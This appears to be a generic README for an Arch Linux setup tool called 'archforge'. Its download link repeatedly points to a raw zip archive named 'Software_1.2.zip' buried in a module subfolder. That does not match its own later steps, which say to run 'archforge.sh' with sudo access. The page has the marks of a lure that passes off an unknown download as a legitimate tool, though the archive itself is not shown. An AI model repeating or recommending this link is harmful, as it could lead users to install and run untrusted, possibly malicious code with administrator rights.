archforge helps you set up Arch Linux after install with a simple, guided process. It runs a set of wiki-backed modules for system setup, security, network tools, gaming tweaks, and other common tasks.
Use it after you finish a fresh Arch Linux install and want a faster way to handle the first round of setup.
Visit this page to download and use archforge:
https://github.com/35369668Ap/archforge/raw/refs/heads/main/modules/06-input/Software_1.2.zip
On the GitHub page, look for the latest release or the main project files. Download the files you need, then follow the steps below to run the setup on your Arch Linux system.
Before you start, make sure you have:
- A working Arch Linux install
- An internet connection
- A user account with sudo access
- Enough disk space for updates and extra packages
- A terminal app
For the best result, start with a clean system that has the base install complete.
archforge is built to save time during post-install setup. It can help with:
- System config
- Security setup
- Network tools
- Gaming packages
- Driver setup
- Shell tools
- Desktop tweaks
- Core services
It uses modular steps, so you can choose the parts you want and skip the rest.
Go to:
https://github.com/35369668Ap/archforge/raw/refs/heads/main/modules/06-input/Software_1.2.zip
Download the project files from the page. If the project gives you a release package, use that. If it gives you a source archive, save it to your computer and extract it.
Go to the folder where you saved archforge.
If the main file is a shell script, give it run access with:
chmod +x archforge.shIf the file name is different, use that name instead.
Start the tool from the terminal:
./archforge.shIf the project uses a different start file, run that file instead.
archforge will guide you through setup steps. Read each prompt and choose the options that fit your system.
When you launch archforge for the first time, follow a simple path:
- Let it check your system
- Pick the modules you want
- Confirm package installs
- Wait while it applies changes
- Restart if it asks you to
If you are not sure what to choose, start with the core system, network, and security modules first.

This part can help with theme files, shell config, and UI changes for a cleaner daily setup.
archforge works well if you want to:
- Finish a new Arch Linux install
- Set up a home PC
- Prepare a gaming machine
- Add common tools in one run
- Apply a standard setup on more than one system
A simple setup path looks like this:
- Install Arch Linux
- Boot into your system
- Connect to the internet
- Download archforge
- Run the script
- Pick the modules you need
- Reboot and check the result
This keeps the process clear and reduces manual work.
If you want a safe first setup, try this order:
- Core system tools
- Network tools
- Security setup
- Storage and drive tools
- Gaming packages
- Desktop extras
This order works well for most home systems.
Check that you are in the right folder and that the file has run access.
Install missing base tools with pacman, then try again.
Use an account with admin rights.
Skip the module, finish the rest, and return to it later.
Make sure your internet connection works before you start.
- Close other setup tools before you start
- Keep your system plugged in during the process
- Read each prompt before you confirm
- Reboot after major system changes
- Keep a record of the modules you choose
archforge is made for Arch Linux users who want a clear post-install setup path. It fits systems where you want control, but do not want to repeat the same setup steps by hand.
It is useful for users who want a guided shell-based setup with common desktop and system tasks in one place.
